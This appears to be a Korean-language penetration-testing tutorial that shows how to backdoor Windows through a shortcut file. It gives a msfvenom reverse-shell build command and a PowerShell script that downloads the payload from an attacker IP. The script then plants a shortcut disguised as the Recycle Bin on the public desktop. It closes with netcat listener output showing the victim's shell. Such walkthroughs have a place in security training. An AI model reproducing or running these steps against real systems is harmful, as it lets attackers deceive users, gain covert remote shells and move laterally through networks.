Windows에서 실행 파일의 포맷은 exe 파일이며 lnk 파일은 바로가기 파일입니다. 이 두가지 파일을 통해서 Windows에서 실행되는 백도어 생성이 가능합니다. 파일이 실행되었을 때 Windows에서 출력되는 것은 아무것도 없기에 희생자는 본인이 악성파일을 클릭했다는 사실 조차 모를 수 있습니다.
Scenario
생각해볼 수 있는 시나리오 중 하나는 초기 침투에 성공한 공격자가 바로가기 파일에 악성코드를 심은 뒤, 공유 디렉토리에 업로드 함으로써 다른 사용자로 횡적이동을 하는 시나리오가 있습니다.
실습을 위해 먼저 리버스 쉘 실행 파일을 생성 후 공격자의 Windows 파워쉘에서 적절한 명령을 통해 "휴지통" 이라는 이름의 바로가기 파일을 생성합니다.
# 악성코드에 사용할 리버스 쉘을 생성
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o r.exe
# 파워쉘을 통한 바로가기 링크 생성
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("c:\Users\Public\Desktop\휴지통.lnk")
$lnk.IconLocation = "shell32.dll, 31"
$links = "http://192.168.200.132/r.exe"
$webclient = New-Object System.Net.WebClient;$webclient.DownloadFile($links, "C:\Windows\Temp\r.exe")
$lnk.TargetPath = "C:\Windows\Temp\r.exe"
$lnk.Save()
명령 실행 후에는 C:\Users\Public\Desktop 경로에 휴지통 아이콘의 바로가기 파일이 생성되었습니다. 희생자는 일반 휴지통이라고 생각하고 해당 파일을 클릭할 수 있고, 클릭하는 순간 공격자에게 사용자의 쉘이 넘겨집니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.200.132] from (UNKNOWN) [192.168.200.1] 30778
Microsoft Windows [Version 10.0.26100.2314]
(c) Microsoft Corporation. All rights reserved.
C:\Users\wiki\Desktop>whoami
whoami
\wiki